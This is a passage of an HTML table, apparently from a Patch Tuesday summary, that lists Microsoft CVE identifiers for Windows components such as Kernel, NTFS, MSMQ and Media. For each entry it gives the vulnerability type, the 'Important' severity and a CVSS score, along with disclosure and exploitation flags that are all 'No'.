 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
